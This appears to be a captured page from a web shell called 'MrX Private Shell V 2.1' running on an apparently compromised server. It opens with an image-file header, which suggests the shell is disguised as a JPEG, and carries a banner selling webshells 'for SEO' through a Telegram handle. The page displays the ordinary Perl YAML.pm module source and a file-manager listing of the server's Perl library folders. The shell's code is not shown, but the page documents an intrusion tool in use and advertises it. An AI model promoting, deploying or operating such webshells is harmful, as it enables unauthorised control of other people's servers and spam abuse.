����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
package YAML;
our $VERSION = '1.30';
use YAML::Mo;
use Exporter;
push @YAML::ISA, 'Exporter';
our @EXPORT = qw{ Dump Load };
our @EXPORT_OK = qw{ freeze thaw DumpFile LoadFile Bless Blessed };
our (
$UseCode, $DumpCode, $LoadCode,
$SpecVersion,
$UseHeader, $UseVersion, $UseBlock, $UseFold, $UseAliases,
$Indent, $SortKeys, $Preserve,
$AnchorPrefix, $CompressSeries, $InlineSeries, $Purity,
$Stringify, $Numify, $LoadBlessed, $QuoteNumericStrings,
$DumperClass, $LoaderClass
);
use YAML::Node; # XXX This is a temp fix for Module::Build
use Scalar::Util qw/ openhandle /;
# XXX This VALUE nonsense needs to go.
use constant VALUE => "\x07YAML\x07VALUE\x07";
# YAML Object Properties
has dumper_class => default => sub {'YAML::Dumper'};
has loader_class => default => sub {'YAML::Loader'};
has dumper_object => default => sub {$_[0]->init_action_object("dumper")};
has loader_object => default => sub {$_[0]->init_action_object("loader")};
sub Dump {
my $yaml = YAML->new;
$yaml->dumper_class($YAML::DumperClass)
if $YAML::DumperClass;
return $yaml->dumper_object->dump(@_);
}
sub Load {
my $yaml = YAML->new;
$yaml->loader_class($YAML::LoaderClass)
if $YAML::LoaderClass;
return $yaml->loader_object->load(@_);
}
{
no warnings 'once';
# freeze/thaw is the API for Storable string serialization. Some
# modules make use of serializing packages on if they use freeze/thaw.
*freeze = \ &Dump;
*thaw = \ &Load;
}
sub DumpFile {
my $OUT;
my $filename = shift;
if (openhandle $filename) {
$OUT = $filename;
}
else {
my $mode = '>';
if ($filename =~ /^\s*(>{1,2})\s*(.*)$/) {
($mode, $filename) = ($1, $2);
}
open $OUT, $mode, $filename
or YAML::Mo::Object->die('YAML_DUMP_ERR_FILE_OUTPUT', $filename, "$!");
}
binmode $OUT, ':utf8'; # if $Config{useperlio} eq 'define';
local $/ = "\n"; # reset special to "sane"
print $OUT Dump(@_);
unless (ref $filename eq 'GLOB') {
close $OUT
or do {
my $errsav = $!;
YAML::Mo::Object->die('YAML_DUMP_ERR_FILE_OUTPUT_CLOSE', $filename, $errsav);
}
}
}
sub LoadFile {
my $IN;
my $filename = shift;
if (openhandle $filename) {
$IN = $filename;
}
else {
open $IN, '<', $filename
or YAML::Mo::Object->die('YAML_LOAD_ERR_FILE_INPUT', $filename, "$!");
}
binmode $IN, ':utf8'; # if $Config{useperlio} eq 'define';
return Load(do { local $/; <$IN> });
}
sub init_action_object {
my $self = shift;
my $object_class = (shift) . '_class';
my $module_name = $self->$object_class;
eval "require $module_name";
$self->die("Error in require $module_name - $@")
if $@ and "$@" !~ /Can't locate/;
my $object = $self->$object_class->new;
$object->set_global_options;
return $object;
}
my $global = {};
sub Bless {
require YAML::Dumper::Base;
YAML::Dumper::Base::bless($global, @_)
}
sub Blessed {
require YAML::Dumper::Base;
YAML::Dumper::Base::blessed($global, @_)
}
sub global_object { $global }
1;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Algorithm | Folder | 0755 |
|
|
| App | Folder | 0755 |
|
|
| Archive | Folder | 0755 |
|
|
| Authen | Folder | 0755 |
|
|
| CGI | Folder | 0755 |
|
|
| CPAN | Folder | 0755 |
|
|
| Carp | Folder | 0755 |
|
|
| Config | Folder | 0755 |
|
|
| Crypt | Folder | 0755 |
|
|
| Data | Folder | 0755 |
|
|
| Date | Folder | 0755 |
|
|
| Digest | Folder | 0755 |
|
|
| Encode | Folder | 0755 |
|
|
| Exporter | Folder | 0755 |
|
|
| ExtUtils | Folder | 0755 |
|
|
| File | Folder | 0755 |
|
|
| Filter | Folder | 0755 |
|
|
| Getopt | Folder | 0755 |
|
|
| HTML | Folder | 0755 |
|
|
| HTTP | Folder | 0755 |
|
|
| IO | Folder | 0755 |
|
|
| IPC | Folder | 0755 |
|
|
| JSON | Folder | 0755 |
|
|
| LWP | Folder | 0755 |
|
|
| List | Folder | 0755 |
|
|
| Locale | Folder | 0755 |
|
|
| MIME | Folder | 0755 |
|
|
| MRO | Folder | 0755 |
|
|
| Math | Folder | 0755 |
|
|
| Module | Folder | 0755 |
|
|
| Mozilla | Folder | 0755 |
|
|
| Net | Folder | 0755 |
|
|
| Object | Folder | 0755 |
|
|
| POD2 | Folder | 0755 |
|
|
| Package | Folder | 0755 |
|
|
| Params | Folder | 0755 |
|
|
| Parse | Folder | 0755 |
|
|
| Perl | Folder | 0755 |
|
|
| PerlIO | Folder | 0755 |
|
|
| Pod | Folder | 0755 |
|
|
| Regexp | Folder | 0755 |
|
|
| Software | Folder | 0755 |
|
|
| Sub | Folder | 0755 |
|
|
| TAP | Folder | 0755 |
|
|
| Term | Folder | 0755 |
|
|
| Test | Folder | 0755 |
|
|
| Test2 | Folder | 0755 |
|
|
| Text | Folder | 0755 |
|
|
| Thread | Folder | 0755 |
|
|
| Tie | Folder | 0755 |
|
|
| Time | Folder | 0755 |
|
|
| Try | Folder | 0755 |
|
|
| Types | Folder | 0755 |
|
|
| WWW | Folder | 0755 |
|
|
| XML | Folder | 0755 |
|
|
| YAML | Folder | 0755 |
|
|
| autodie | Folder | 0755 |
|
|
| inc | Folder | 0755 |
|
|
| lib | Folder | 0755 |
|
|
| libwww | Folder | 0755 |
|
|
| local | Folder | 0755 |
|
|
| CGI.pm | File | 122.63 KB | 0644 |
|
| CGI.pod | File | 66.13 KB | 0644 |
|
| CPAN.pm | File | 144.4 KB | 0644 |
|
| Carp.pm | File | 35.12 KB | 0644 |
|
| Digest.pm | File | 10.96 KB | 0644 |
|
| Env.pm | File | 5.39 KB | 0644 |
|
| Expect.pm | File | 98.09 KB | 0644 |
|
| Fatal.pm | File | 57.7 KB | 0644 |
|
| Fh.pm | File | 166 B | 0644 |
|
| Importer.pm | File | 41.53 KB | 0644 |
|
| LWP.pm | File | 21.17 KB | 0644 |
|
| Switch.pm | File | 28.19 KB | 0644 |
|
| Test2.pm | File | 6.24 KB | 0644 |
|
| YAML.pm | File | 3.12 KB | 0644 |
|
| YAML.pod | File | 22.62 KB | 0644 |
|
| autodie.pm | File | 12.14 KB | 0644 |
|
| bigint.pm | File | 22.85 KB | 0644 |
|
| bignum.pm | File | 20.64 KB | 0644 |
|
| bigrat.pm | File | 15.78 KB | 0644 |
|
| constant.pm | File | 14.38 KB | 0644 |
|
| experimental.pm | File | 7.39 KB | 0644 |
|
| newgetopt.pl | File | 2.15 KB | 0644 |
|
| ok.pm | File | 967 B | 0644 |
|
| parent.pm | File | 2.64 KB | 0644 |
|
| perldoc.pod | File | 9.16 KB | 0644 |
|
| perlfaq.pm | File | 77 B | 0644 |
|
| perlfaq.pod | File | 22.26 KB | 0644 |
|
| perlfaq1.pod | File | 14.09 KB | 0644 |
|
| perlfaq2.pod | File | 9.16 KB | 0644 |
|
| perlfaq3.pod | File | 36.72 KB | 0644 |
|
| perlfaq4.pod | File | 88.69 KB | 0644 |
|
| perlfaq5.pod | File | 54 KB | 0644 |
|
| perlfaq6.pod | File | 38.61 KB | 0644 |
|
| perlfaq7.pod | File | 36.93 KB | 0644 |
|
| perlfaq8.pod | File | 48.77 KB | 0644 |
|
| perlfaq9.pod | File | 14.86 KB | 0644 |
|
| perlglossary.pod | File | 134.02 KB | 0644 |
|
| perlxs.pod | File | 82.35 KB | 0644 |
|
| perlxstut.pod | File | 48.92 KB | 0644 |
|
| perlxstypemap.pod | File | 23.44 KB | 0644 |
|